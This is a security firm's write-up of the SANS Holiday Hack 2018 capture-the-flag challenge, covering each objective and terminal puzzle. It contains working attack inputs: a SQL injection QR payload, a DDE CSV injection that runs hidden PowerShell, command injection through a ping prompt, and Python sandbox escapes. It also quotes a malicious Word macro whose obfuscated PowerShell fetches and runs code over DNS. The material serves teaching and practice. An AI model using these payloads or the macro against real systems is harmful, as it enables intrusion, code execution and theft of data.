Skip navigation

Duo Security is now a part of Cisco

About Cisco

Duo Labs

SANS Holiday Hack 2018 Writeup

Every year during the holiday season, SANS publishes their annual Holiday Hack Challenge. These challenges are a great way to learn new and useful exploitation techniques to solve fun puzzles.

The Duo Labs team always enjoys participating in the Holiday Hack Challenge, and have written about our solutions in the past. The challenges have been very polished, and this year is no exception.

As always, we first want to extend our thanks to Ed Skoudis and the SANS team for always putting together a thorough, fun challenge that never fails to teach something new.

This year’s Holiday Hack Challenge revolved around a virtual security conference called KringleCon hosted in the North Pole by Santa himself. As part of the conference, we’re asked to solve 10 technical objectives as well as mini-challenges in the form of a “Cranberry Pi” terminal.

For this writeup, we’ll focus on the solutions to the objectives first, followed by the Cranberry Pi solutions.


Objective 1: Orientation Challenge

What phrase is revealed when you answer all of the questions at the KringleCon Holiday Hack History kiosk inside the castle?

Visiting the kiosk gives six questions about previous challenges. The answers were:

1. In 2015, the Dosis siblings asked for help understanding what piece of their "Gnome in Your Home" toy?

a) Answer: Firmware

2. In 2015, the Dosis siblings disassembled the conspiracy dreamt up by which corporation?

a) Answer: ATNAS

3. In 2016, participants were sent off on a problem-solving quest based on what artifact that Santa left?

a) Answer: Business Card

4. In 2016, Linux terminals at the North Pole could be accessed with what kind of computer?

a) Answer: Cranberry Pi

5. In 2017, the North Pole was being bombarded by giant objects. What were they?

a) Answer: Snowballs

6. In 2017, Sam the snowman needed help reassembling pages torn from what?

a) Answer: The Great Book

Objective 2: Directory Browsing

Who submitted (First Last) the rejected talk titled Data Loss for Rainbow Teams: A Path in the Darkness? Please analyze the CFP site to find out.

The CFP site contains a single link encouraging us to apply to the KringleCon CFP:

The “Apply Now!” button contains a link to Removing the “cfp.html” shows that directory indexing is enabled, revealing the file “rejected-talks.csv”:

Opening the file and searching for the talk title “Data Loss for Rainbow Teams: A Path in the Darkness” reveals it was submitted by John McClane.

Objective 3: de Bruijn Sequences

When you break into the speaker unpreparedness room, what does Morcel Nougat say?

The speaker unpreparedness room was protected by a combination lock:

As the objective title suggests, we can use a de Bruijn sequence to generate a set of codes that will enumerate all possible combinations.

To solve the challenge, I first used an online generator to create the de Bruijn sequence. I’m lazy, so instead of entering the combination manually, I wrote a script to do it for me, which quickly found the correct code:


Trying code: 1001

Trying code: 0012

Trying code: 0120

Found the code: 0120

Inside the speaker unpreparedness room, Morcel Nougat says “Welcome unprepared speaker!”

Objective 4: Data Repo Analysis

Retrieve the encrypted ZIP file from the North Pole Git repository. What is the password to open this file?

We cloned the repository using:

git clone

Viewing the previous changes in the Git history using git log -p reveals this diff:

commit 7f46bd5f88d0d5ac9f68ef50bebb7c52cfa67442

Author: Shinny Upatree <>

Date: Tue Dec 11 08:25:45 2018 +0000

removing file

diff --git a/schematics/ b/schematics/

deleted file mode 100644

index b06a507..0000000

--- a/schematics/

+++ /dev/null

@@ -1,15 +0,0 @@

-Our Lead InfoSec Engineer Bushy Evergreen has been noticing an increase of brute force attacks in our logs. Furthermore, Albaster discovered and published a vulnerability with our password length at the

last Hacker Conference.


-Bushy directed our elves to change the password used to lock down our sensitive files to something stronger. Good thing he caught it before those dastardly villians did!



-Hopefully this is the last time we have to change our password again until next Christmas.





-Password = 'Yippee-ki-yay'



-Change ID = '9ed54617547cfca783e0f81f8dc5c927e3d1e3'

The password included in the diff is the answer to the challenge: “Yippee-ki-yay.” This password is also used to extract the contents of the file “” included in the repository. This gives maps that are used to solve the ventilation maze mini-challenge.

Objective 5: AD Privilege Discovery

Using the data set contained in this SANS Slingshot Linux image, find a reliable path from a Kerberoastable user to the Domain Admins group. What’s the user’s logon name? Remember to avoid RDP as a control path as it depends on separate local privilege escalation flaws.

The VM contains an installation of Bloodhound, which is a fantastic tool used to find paths to Domain Admin. One of the features of Bloodhound is the ability to query for the shortest paths to Domain Admins from Kerberoastable users:

Running this query gives us a graph that looks like this:

We’re told to avoid RDP as a control path. The only path that does not use RDP is the one towards the middle of the graph, where LDUBEJ00320@AD.KRINGLECASTLE.COM is an admin to a computer which has a domain admin session. That’s the answer to this objective.

Objective 6: Badge Manipulation

Bypass the authentication mechanism associated with the room near Pepper Minstix. A sample employee badge is available. What is the access control number revealed by the door authentication panel?

For this objective, we’re given a disabled badge for Alabaster Snowball which contains a QR code:

The QR code encodes a random string of characters. As part of the hint, we’re told that the QR code reader may have a SQL injection vulnerability, which suggests that we need to create a fake QR code containing our SQLi payload.

To make this easier, I used the qrcode Python library. To start, I created a QR code with a single quote:

$ qr “‘“ > test.png

This returned a SQL error, indicating the endpoint is vulnerable to SQL injection:

{"data":"EXCEPTION AT (LINE 96 \"user_info = query(\"SELECT first_name,last_name,enabled FROM employees WHERE authorized = 1 AND uid = '{}' LIMIT 1\".format(uid))\"): (1064, u\"You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '''' LIMIT 1' at line 1\")","request":false}

To solve the challenge, I created a QR code with an always true boolean, ensuring the account is enabled:

qr "' OR '1'='1' AND enabled = 1 LIMIT 1#" > badge.png

Uploading this QR code exploits the vulnerability, giving us the access code:

Objective 7: HR Incident Response

Santa uses an Elf Resources website to look for talented information security professionals. Gain access to the website and fetch the document C:\candidate_evaluation.docx. Which terrorist organization is secretly supported by the job applicant whose name begins with "K."

This challenge allows us to upload a CSV, suggesting that we should use DDE injection. I first tried downloading and executing a reverse shell using Powershell Empire, but I couldn’t get it to work. As a fallback, I noticed when visiting a random URL that the site displayed the full path to the uploads directory:

This suggests that maybe we can copy the file to the publicly accessible folder and download it from there. To make a copy of the file, I created a CSV with the following:

=cmd|'/c powershell.exe -W Hidden Copy-Item "C:\candidate_evaluation.docx" "C:\careerportal\resources\public\randomfilename.docx";'!A1

Uploading this and then requesting gave us the file with the flag:

Objective 8: Network Traffic Forensics

Santa has introduced a web-based packet capture and analysis tool at to support the elves and their information security work. Using the system, access and decrypt HTTP/2 network activity. What is the name of the song described in the document sent from Holly Evergreen to Alabaster Snowball?

This one was tricky! After solving a Cranberry Pi challenge, an elf suggests that the HTML tells us where the server-side code is. After creating an account and logging in, this comment is found in the page:

We can download app.js from /pub/app.js, revealing portions of the code.

Our goal is to decrypt HTTP/2 traffic, so we want to look for the private keys used by the server. Looking through the code, it appears that there’s a keylog file which claims to be used to view traffic:

To get the keylog file, we need to determine the values for the DEV and SSLKEYLOGFILE environment variables. Looking further in the code, we see that the environment variables are populated into an env_dirs variable (remember: we previously saw that dev_mode is enabled).

The variable env_dirs is used to set up and serve routes, with an error handler in case things go wrong:

This means that if we craft URLs in the form of /[environment_variable]/filename, the value of the environment variable will be retrieved and used when serving the file. We can see this happening if we try the URL /SSLKEYLOGFILE/bogusfile:

The error is thrown since the file doesn’t exist, revealing the value of the environment variable! We can do the same thing for the DEV environment variable, revealing that the value is “dev”.

Putting these together, we can retrieve our keylog file from /dev/packalyzer_clientrandom_ssl.log:

We then used the site to take a PCAP containing the HTTP/2 traffic. Importing these keys into Wireshark decrypts the traffic, revealing credentials submitted for Alabaster Snowball:

Logging into the site using these credentials allows us to download a “super_secret_packet_capture.pcap” file:

Opening the PCAP reveals a single SMTP connection containing an email from Holly Evergreen to Alabaster:

The email contains an attachment encoded as base64. Decoding the contents gives us a PDF file describing how to transpose music, using “Mary Had a Little Lamb” as the example (which is also the solution to the objective):

Objective 9: Ransomware Recovery

Alabaster Snowball is in dire need of your help. Santa's file server has been hit with malware. Help Alabaster Snowball deal with the malware on Santa's server by completing several tasks.

Using the access code from Objective 6 to get access to the back room, we’re given multiple challenges emulating a ransomware response.

H4 - Objective 9.1: Catch the Malware

Assist Alabaster by building a Snort filter to identify the malware plaguing Santa's Castle.

For this challenge, we’re given access to an IDS sensor and asked to write a Snort rule that matches only bad DNS traffic. We started by using tshark to see what DNS traffic we’ve logged:

elf@cb35571ec7af:~$ tshark -r snort.log.pcap -e -T fields


We see a number of DNS requests that appear to have the pattern [sequence number].[38 character random hex string].[domain]. Here are Snort rules that catch outbound DNS requests and inbound DNS responses for this pattern:

alert udp any any -> any 53 ( msg:"Ransomware"; pcre:"/[0-9A-F]{38}/"; sid:12345; )

alert udp any 53 -> any any ( msg:"Ransomware"; pcre:"/[0-9A-F]{38}/"; sid:12346; )

Saving the rules in /etc/snort/rules/local.rules solves the objective:

H4 - Objective 9.2: Identify the Domain

Using the Word docm file, identify the domain name that the malware communicates with.

After solving this problem, talking to Alabaster gives us the macro-enabled doc. We can use to get the OLE streams:

~ $ python /malware/CHOCOLATE_CHIP_COOKIE_RECIPE.docm

A: word/vbaProject.bin

A1: 468 'PROJECT'

A2: 95 'PROJECTwm'

A3: M 2251 'VBA/Module1'

A4: M 2400 'VBA/NewMacros'

A5: m 924 'VBA/ThisDocument'


A7: 620 'VBA/dir'

This tells us that stream A3 has a VBA macro. Dumping the variable provides the payload:

~ $ python -s A3 -v /malware/CHOCOLATE_CHIP_COOKIE_RECIPE.docm

Attribute VB_Name = "Module1"

Private Sub Document_Open()

Dim cmd As String

cmd = "powershell.exe -NoE -Nop -NonI -ExecutionPolicy Bypass -C ""sal a New-Object; iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG'),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()"" "

Shell cmd

End Sub

This is a typical macro that launches Powershell. To get the next step in the payload, we need to base64-decode the contents, and then decompress them using the deflate algorithm.

To let Powershell do the hard work for us, we changed the call to iex to instead pipe the output to Out-File. This essentially tells Powershell to dump out the command to a file instead of running it.

This gives us the (roughly formatted) following payload:

function H2A($a) {

$o; $a -split '(..)' | ? { $_ } | forEach {[char]([convert]::toint16($_,16))} | forEach {$o = $o + $

_}; return $o


$f = "77616E6E61636F6F6B69652E6D696E2E707331";

$h = "";

foreach ($i in 0..([convert]::ToInt32((Resolve-DnsName -Server -Name "$" -Type TXT).strings, 10)-1)) {

$h += (Resolve-DnsName -Server -Name "$i.$" -Type TXT).strings


iex($(H2A $h | Out-string))

This mimics what we saw in the original PCAP - a series of DNS requests in the format of sequence_number.77616E6E61636F6F6B69652E6D696E2E707331.erohetfanu[.]com. Essentially, the payload to execute is retrieved via a series of DNS TXT requests.

The answer to the objective is the domain erohetfanu[.]com (without the brackets).

H4 - Objective 9.3: Stop the Malware

Identify a way to stop the malware in its tracks!

We can use the same iex -> Out-File treatment on the previous function to get the final payload, which you can find here.

The payload looks to mimic WannaCry, containing various encryption routines. Our job is to find a way to kill the malware, aka a “killswitch.” Since this is a clone of WannaCry, it’s likely that we’ll need to find a check in the code for a domain that isn’t registered and register it using their system.

Following the advice from the “Analyzing Powershell Malware” KringleCon talk, we fired up Powershell ISE and set a breakpoint above what appeared to be a check for a domain that would cause the malware to shutdown. We added a line above to print out the domain being checked, resulting in the domain being printed to the terminal:

Registering this domain solved the challenge:

H4 - Objective 9.4: Recover Alabaster's Password

Recover Alabaster's password as found in the the encrypted password vault.

The last step is to decrypt the encrypted password database. This was another really tricky one! To start the challenge, we’re given the encrypted database as well as a memory dump that was taken while the malware was running.

Looking through the final Powershell payload we decoded in the previous objective, we see that this malware works by generating a unique, random symmetric key and encrypting it using a certificate containing a public key which is retrieved from DNS. In our memory dump, we won’t have the original symmetric key, since it was cleared. Instead, we have the encrypted version of the key stored in the variable $p_k_e_k. Our goal will be to obtain the master private key so that we can decrypt our symmetric key, which we can then use to decrypt the password database.

Studying the payload, we notice that one call to the function g_o_dns used “A2H source.min.html” as the argument, which would convert “source.min.html” to hex and make the request via DNS. The other call was to get the certificate, and the argument was “7365727665722E637274”, which looked like it might be valid ASCII.

Sure enough, decoding the value into ASCII gives us the filename requested:

>>> '7365727665722E637274'.decode('hex')


Normally, keys are created as “server.crt” and “server.key”. Encoding “server.key” into hex and making the DNS requests returned the private key:

PS> $(g_o_dns((A2H "server.key")))











Now that we have the private key, we just need to find the encrypted symmetric key used to encrypt Alabaster’s password database. We can execute the malware in a VM, setting a breakpoint to dump out what a sample $p_k_e_k looks like, which gives us the following:

Hit Line breakpoint on 'C:\Users\vm_user\Desktop\wannacookie.ps1:220'

[DBG]: PS C:\Windows\system32>> $p_k_e_k






Seeing that the key is 512 bytes, we can search the provided memory dump for other 512 character variables to find the $p_k_e_k used when Alabaster’s password database was being encrypted, revealing:

: len == 512

================ Filters ================

1| LENGTH len(variable_values) == 512

[i] 1 powershell Variable Values found!

: print


We want to decrypt this key using our obtained private key. To do this, I converted the encrypted key into raw bytes:

xxd -r -p encrypted_key.hex > encrypted_key

Then, I used OpenSSL to decrypt the key:

openssl rsautl -decrypt -inkey server.key -in encrypted_key -oaep

Note: This took me forever to figure out since I didn’t realize Powershell used OAEP padding when doing RSA operations. By default, OpenSSL uses PKCS#1 v1.5 padding.

With the key in-hand, I made a Powershell script that took pieces from the original malware to decrypt the password database. You can find the script here.

This gives us an SQLite database that we can open, revealing the password to the vault!

Objective 10: Who Is Behind It All?

Who was the mastermind behind the whole KringleCon plan? And, in your emailed answers please explain that plan.

For the last challenge, we need to unlock the Piano Lock. The chords we found in the password vault don’t work, with the message claiming it’s off-key.

The idea here is to use the information from the PDF we found earlier to figure out how to transpose the notes by hand. But you’ll recall that I’m lazy, so I wrote a script using the pychord module to transpose the chords in various steps. It turns out that the answer is that we need to go back a whole step, so the final combination is: DC#DC#DDC#DEF#EF#GAG#AG#A.

In the secret room, we discover that Santa was behind the entire challenge, since he wanted to recruit new people to join the North Pole’s security team.

Cranberry Pi

Essential Editor Skills

To solve this challenge, we need to exit the editor using :q. Easy enough!

The Name Game

For this Cranberry Pi, we’re asked to find the first name of an employee with the last name of “Chan.”

Using the “verify the system” command, we can see that a call to ping is being executed, and we see hints that a database called “onboard.db” is available:

Enter address of server:

ping: unknown host

onboard.db: SQLite 3.x database

We can inject commands by terminating the ping command using a semicolon. We can start by listing the contents of the directory which confirms the existence of “onboard.db”:

Enter address of server: ; ls

Usage: ping [-aAbBdDfhLnOqrRUvV] [-c count] [-i interval] [-I interface]

[-m mark] [-M pmtudisc_option] [-l preload] [-p pattern] [-Q tos]

[-s packetsize] [-S sndbuf] [-t ttl] [-T timestamp_option]

[-w deadline] [-W timeout] [hop1 ...] destination

menu.ps1 onboard.db runtoanswer

onboard.db: SQLite 3.x database

We dumped the contents of “onboard.db” using the .dump SQLite command, filtering the content with grep to find the user with the last name “Chan”:

Enter address of server: ; sqlite3 onboard.db .dump | grep Chan

Usage: ping [-aAbBdDfhLnOqrRUvV] [-c count] [-i interval] [-I interface]

[-m mark] [-M pmtudisc_option] [-l preload] [-p pattern] [-Q tos]

[-s packetsize] [-S sndbuf] [-t ttl] [-T timestamp_option]

[-w deadline] [-W timeout] [hop1 ...] destination

INSERT INTO "onboard" VALUES(84,'Scott','Chan','48 Colorado Way',NULL,'Los Angeles','90067',


onboard.db: SQLite 3.x database

We used the same technique to launch runtoanswer to submit the answer:

Enter address of server: ; ./runtoanswer

Usage: ping [-aAbBdDfhLnOqrRUvV] [-c count] [-i interval] [-I interface]

[-m mark] [-M pmtudisc_option] [-l preload] [-p pattern] [-Q tos]

[-s packetsize] [-S sndbuf] [-t ttl] [-T timestamp_option]

[-w deadline] [-W timeout] [hop1 ...] destination

Loading, please wait......

Enter Mr. Chan's first name: Scott

CURLing Master

Looking in /etc/nginx/nginx.conf, we see that HTTP2 is enabled:


# love using the new stuff! -Bushy

listen 8080 http2;


To make a successful connection, we need to pass the --http2-prior-knowledge to curl:

elf@c63d66fe3f31:~$ curl --http2-prior-knowledge localhost:8080



<title>Candy Striper Turner-On'er</title>



<p>To turn the machine on, simply POST to this URL with parameter "status=on"



We are told that we need to send a POST request with a status argument set, so we’ll do it using the same curl technique:

$ curl --http2-prior-knowledge localhost:8080 -XPOST -d "status=on"



<title>Candy Striper Turner-On'er</title>



<p>To turn the machine on, simply POST to this URL with parameter "status=on"


This solved the challenge!

The Sleighbell

This challenge asks us to win a fake lottery provided by a binary, “sleighbell-lotto.” This is very similar to the “Wumpus” terminal challenge from the 2016 Holiday Hack challenge, so we approached it the same way.

The first step is to load the binary in GDB, disassembling the main function to see if any functions stand out:

elf@e072ce7764b7:~$ gdb sleighbell-lotto

(gdb) set disassembly-flavor intel

(gdb) disassemble main

Dump of assembler code for function main:

0x00000000000014ca <+0>: push rbp

0x00000000000014cb <+1>: mov rbp,rsp

0x00000000000014ce <+4>: sub rsp,0x10

0x00000000000014d2 <+8>: lea rdi,[rip+0x56d6] # 0x6baf


0x0000000000001582 <+184>: cmp DWORD PTR [rbp-0x4],0x4c9

0x0000000000001589 <+191>: jne 0x1597 <main+205>

0x000000000000158b <+193>: mov eax,0x0

0x0000000000001590 <+198>: call 0xfd7 <winnerwinner>

0x0000000000001595 <+203>: jmp 0x15a1 <main+215>

0x0000000000001597 <+205>: mov eax,0x0

0x000000000000159c <+210>: call 0x14b7 <sorry>

0x00000000000015a1 <+215>: mov edi,0x0

0x00000000000015a6 <+220>: call 0x920 <exit@plt>

End of assembler dump.

It looks like we’ll want to jump to the winnerwinner function. We can set a breakpoint at main, launch the program, and then make our jump:

(gdb) break main

Breakpoint 1 at 0x14ce

(gdb) run

Starting program: /home/elf/sleighbell-lotto

[Thread debugging using libthread_db enabled]

Using host libthread_db library "/lib/x86_64-linux-gnu/".

Breakpoint 1, 0x00005555555554ce in main ()

(gdb) jmp winnerwinner

Undefined command: "jmp". Try "help".

(gdb) jump winnerwinner

Continuing at 0x555555554fdb.


Congratulations! You've won, and have successfully completed this challenge.

DevOps Fail

This terminal is nearly identical to objective 4 earlier. We used the same git log -p approach to find the following diff, which includes deleted credentials:

diff --git a/server/config/config.js b/server/config/config.js

deleted file mode 100644

index 25be269..0000000

--- a/server/config/config.js

+++ /dev/null

@@ -1,4 +0,0 @@

-// Database URL

-module.exports = {

url' : 'mongodb://sredberry:twinkletwinkletwinkle@

diff --git a/server/config/config.js.def b/server/config/config.js.def

new file mode 100644

index 0000000..740eba5

--- /dev/null

+++ b/server/config/config.js.def

@@ -0,0 +1,4 @@

+// Database URL

+module.exports = {

+ 'url' : 'mongodb://username:password@'


Stall Mucking Report

For this challenge, we’re given a hint that there are automated tasks being executed on the system which may contain credentials. Listing the running processes reveals the password:

$ ps aux | less

root 11 0.0 0.0 49532 3284 pts/0 S 04:49 0:00 sudo -u manager /home/manag

er/ --verbosity=none --no-check-certificate --extraneous-command-argument --

do-not-run-as-tyler --accept-sage-advice -a 42 -d~ --ignore-sw-holiday-special --suppress --

suppress //localhost/report-upload/ directreindeerflatterystable -U report-upload

In this command, we’re given the user, “report-upload” and the password “directreindeerflatterystable.” We used these credentials to upload the report:

elf@d16ab90ad95b:~$ smbclient -U report-upload //localhost/report-upload -c 'put report.txt'

Python Escape from LA

For this challenge, we need to escape out of a Python sandbox. The dir command is a good place to start, showing us what functions are available:

>>> dir()

['__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__

, '__spec__', 'banner', 'code', 'readfilter', 'readline', 'restricted_terms', 'whitelist

In this case, we see a module, code is available, which implements RPEL’s in Python:

>>> help(code)

Help on module code:


code - Utilities needed to emulate Python's interactive interpreter.


We can call code.interact, which starts a new RPEL without the restrictions, letting us execute commands:

>>> code.interact()

Python 3.5.2 (default, Nov 12 2018, 13:43:14)

[GCC 5.4.0 20160609] on linux

Type "help", "copyright", "credits" or "license" for more information.


>>> import subprocess


We could also solve this challenge a different way, since the eval function is available to us. Using the technique from the “Escaping Python Shells” KringleCon conference talk, we split our commands into multiple strings to bypass the filtering:

>>> subprocess = eval('__im' + 'port__("subprocess")')

>>> subprocess

<module 'subprocess' from '/usr/lib/python3.5/'>

>>> eval('subprocess' + '.call("./i_escaped")')

Lethal ForensicELFication

Looking at the files in the directory, we see .viminfo which is used to help Vim remember what edits had been done:

$ ls -alh

total 5.4M

drwxr-xr-x 1 elf elf 4.0K Dec 14 16:28 .

drwxr-xr-x 1 root root 4.0K Dec 14 16:28 ..

-rw-r--r-- 1 elf elf 419 Dec 14 16:13 .bash_history

-rw-r--r-- 1 elf elf 220 May 15 2017 .bash_logout

-rw-r--r-- 1 elf elf 3.5K Dec 14 16:28 .bashrc

-rw-r--r-- 1 elf elf 675 May 15 2017 .profile

drwxr-xr-x 1 elf elf 4.0K Dec 14 16:28 .secrets

-rw-r--r-- 1 elf elf 5.0K Dec 14 16:13 .viminfo

-rwxr-xr-x 1 elf elf 5.3M Dec 14 16:13 runtoanswer

Searching through .viminfo shows “Elinore” being replaced, which is the answer to the challenge.

elf@40d1ad20a995:~$ cat .viminfo


# Last Substitute Search Pattern:


# Last Substitute String:


# Command Line History (newest to oldest):






# Search String History (newest to oldest):

? Elinore



Yule Log Analysis

For this challenge, we’re asked to search through Windows event logs looking for a successful login from a malicious attacker. We started by using the script to convert the entries to XML, making them easier to work with:

elf@c28b4404947c:~$ python ho-ho-no.evtx > ho-ho-no.xml

elf@48d61bd0ea42:~$ grep "EventID Qualifier" ho-ho-no.xml | sort | uniq -c | sort -nr

756 <EventID Qualifiers="">4624</EventID>

212 <EventID Qualifiers="">4625</EventID>

109 <EventID Qualifiers="">4769</EventID>

108 <EventID Qualifiers="">4776</EventID>

45 <EventID Qualifiers="">4768</EventID>

34 <EventID Qualifiers="">4799</EventID>

10 <EventID Qualifiers="">4688</EventID>

2 <EventID Qualifiers="">5059</EventID>

2 <EventID Qualifiers="">4904</EventID>

2 <EventID Qualifiers="">4738</EventID>

2 <EventID Qualifiers="">4724</EventID>

1 <EventID Qualifiers="">5033</EventID>

1 <EventID Qualifiers="">5024</EventID>

1 <EventID Qualifiers="">4902</EventID>

1 <EventID Qualifiers="">4826</EventID>

1 <EventID Qualifiers="">4647</EventID>

1 <EventID Qualifiers="">4608</EventID>

Looking through the events, event ID 4625 stands out since that’s the Windows login denied error code. Filtering for those entries, we see a bunch of failed login attempts from the same IP for different usernames, which is indicative of credential spraying:

<Event xmlns=""><System><Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-a5ba-3e3b0328c


<EventID Qualifiers="">4625</EventID>


<EventData><Data Name="SubjectUserSid">S-1-5-18</Data>

<Data Name="SubjectUserName">WIN-KCON-EXCH16$</Data>

<Data Name="SubjectDomainName">EM.KRINGLECON</Data>

<Data Name="SubjectLogonId">0x00000000000003e7</Data>

<Data Name="TargetUserSid">S-1-0-0</Data>

<Data Name="TargetUserName">arun.kumar</Data>

<Data Name="TargetDomainName">EM.KRINGLECON</Data>

<Data Name="Status">0xc000006d</Data>

<Data Name="FailureReason">%%2313</Data>

<Data Name="SubStatus">0xc0000064</Data>

<Data Name="LogonType">8</Data>

<Data Name="LogonProcessName">Advapi </Data>

<Data Name="AuthenticationPackageName">Negotiate</Data>

<Data Name="WorkstationName">WIN-KCON-EXCH16</Data>

<Data Name="ProcessName">C:\Windows\System32\inetsrv\w3wp.exe</Data>

<Data Name="IpAddress"></Data>

<Data Name="IpPort">40427</Data>



I wrote a script to search through the logs to find a successful login from this IP address, yielding this result:

Username minty.candycane was broken into by